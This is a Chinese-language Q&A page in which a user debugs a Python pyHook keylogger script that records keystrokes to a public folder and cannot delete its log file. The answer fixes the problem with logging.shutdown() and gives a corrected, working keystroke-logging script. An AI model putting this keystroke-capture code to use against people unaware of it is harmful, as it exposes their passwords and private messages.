当前位置: 首页 > 知识库问答 >
问题:

Python中的文件处理:被另一个进程使用

袁泰平
2023-03-14

嗯,我做了这个脚本,它支持日志一些击键一段时间保存在一个文件中,然后擦除文件,如果用户想要然而当脚本tryes删除文件我得到这个错误。

Traceback(最近一次调用最后一次):文件"C:\用户\Tormenter\Desktop\S. D. A. K. L\pregunta.py",第34行,os.remove(path 2"\"name)PermissionError:[WinError 32]进程无法访问该文件,因为它正在被另一个进程使用:'C:\用户\公共\myfile.txt'

我做了一些研究,我认为它不能被删除,因为我的"snp"功能永远不会关闭记录击键的文件,所以我如何关闭文件删除它?谢谢你的帮助:)。

import os
import time
import pyHook, pythoncom, sys, logging

path="C:\\Users\\Public\\myfile.txt"

path2="C:\\Users\\Public"

name="myfile.txt"

TinM=10

def snp(event):    #<---------- Not closing file ???
    global path
    logging.basicConfig(filename=path, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True


timeout=time.time()+TinM
while timeout > time.time():
    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = snp
    hooks_manager.HookKeyboard()
    print("Logging keystrokes")
    pythoncom.PumpWaitingMessages()
else:
    hooks_manager.UnhookKeyboard()
    x=input("Keylogger stoped do you want to delete the archive? y / n")
    if x == "y":
        for(path2,dirs,files) in os.walk(path2):
            if name in files:
                os.remove(path2+"\\"+name) # <----- This line triggers the error.
                print("Archive deleted. Goodbye")
            else:
                print("Archive does not exist or cant be found goodbye! :D")
    else:
        print("Goodbye! :D")

共有1个答案

罗晨
2023-03-14

文件由您自己的进程保持打开状态。

logging.basicConfig(filename=path, level=logging.DEBUG...

打开filename指定的文件。它不会关闭它,直到进程退出,或者调用logging.shutdown(),所以您可以在snp()函数中调用Shutdown()

然而,这要求每次按键时都要初始化日志记录,这是非常低效的。更好的设计是调用日志记录。basicConfig()在脚本的主要部分执行一次,并调用日志记录。在删除文件之前关闭()。然后,您的snp()函数变为:

def snp(event):
    logging.log(logging.DEBUG, chr(event.Ascii))
    return True

以及剧本的主要部分:

logging.basicConfig(filename=path, level=logging.DEBUG, format='%(message)s')
timeout=time.time()+TinM
while timeout > time.time():
    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = snp
    hooks_manager.HookKeyboard()
    print("Logging keystrokes")
    pythoncom.PumpWaitingMessages

hooks_manager.UnhookKeyboard()
logging.shutdown()
x=input("Keylogger stoped do you want to delete the archive? y / n")
if x == "y":
    for(path2,dirs,files) in os.walk(path2):
        if name in files:
            os.remove(path2+"\\"+name) # <----- This line triggers the error.
            print("Archive deleted. Goodbye")
        else:
            print("Archive does not exist or cant be found goodbye! :D")
else:
    print("Goodbye! :D")

注意,我还从while语句中删除了else子句,因为它总是针对您显示的代码执行。

 类似资料:
  • 问题内容: 我有这个代码 当我执行它时,它说 java.nio.file.FileSystemException 该进程无法访问文件,因为该文件正在被另一个进程使用(在sun.nio.fs.WindowsException中) 在我有这个: 我想删除文件“ SHA1.txt”。我怎样才能做到这一点? 问题答案: 我猜想您打开阅读它,而您却忘了关闭它。 编辑: 根据您的评论,您在中包含以下行: 因此

  • 我的脚本搜索特定目录中的所有pdf文件,然后从pdf中提取一个id,并在文件中组织pdf。例如我有: 我想这样组织它们: 下面的脚本做的工作,但我认为只有最后一个文件输出以下错误: 回溯(最近一次调用):文件“C:\Users\user\Downloads\aa\project.py”,第74行,在操作系统中。rename(source,dest)PermissionError:[WinError

  • 我是C#新手,连接Firebird数据库时遇到问题。我想让我的程序访问Firebird数据库[FDB格式文件]。我有问题,请参见下面的代码: 这段代码允许我读取FDB文件并提取数据。当代码第一次执行时,没有错误或问题,但是当我再次执行时,这个错误会显示出来: 进程无法访问文件“C:\Users\ACC-0001”。FDB’因为它正被另一个进程使用。

  • 问题内容: 我是新手,正在尝试制作一个简单的随机句子生成器-如何将随机项从另一个.py文档中存储的列表中拉出?我正在使用 从列表中拉出。如何告诉python verb_list在另一个文档中? 知道解决方案背后的原理是有帮助的。我想这有点像“文件引用”,“文件桥接”等。 问题答案: 您可以从文件中导入变量: vardata.py mainfile.py 您也可以: 从该文件导入所有内容。不过要小心

  • 存储区及其锁文件已被另一个进程锁定:/home/dev/neo4j-community-2.3.2/data/graph.db/store_lock。请确保没有其他进程正在使用此数据库,并且目录是可写的(即使是只读访问也是必需的) 我知道这是因为neo4j服务器应用程序正在运行,它将目录锁定为另一个应用程序的可写目录。 但是我想同时运行这两个功能,neo4j服务器与browser studio和我

  • 问题内容: 我想打开一个文件,该文件由另一个应用程序定期写入。此应用程序无法修改。因此,我只想在我知道该文件未被其他应用程序写入时才打开该文件。 有python方式可以做到这一点吗?否则,如何在Unix和Windows中实现呢? 编辑 :我将尝试澄清。 有没有办法检查当前文件是否已被另一个应用程序打开? 我想从这个问题开始。这些其他应用程序现在是否读写无关紧要。 我意识到这可能与操作系统有关,所以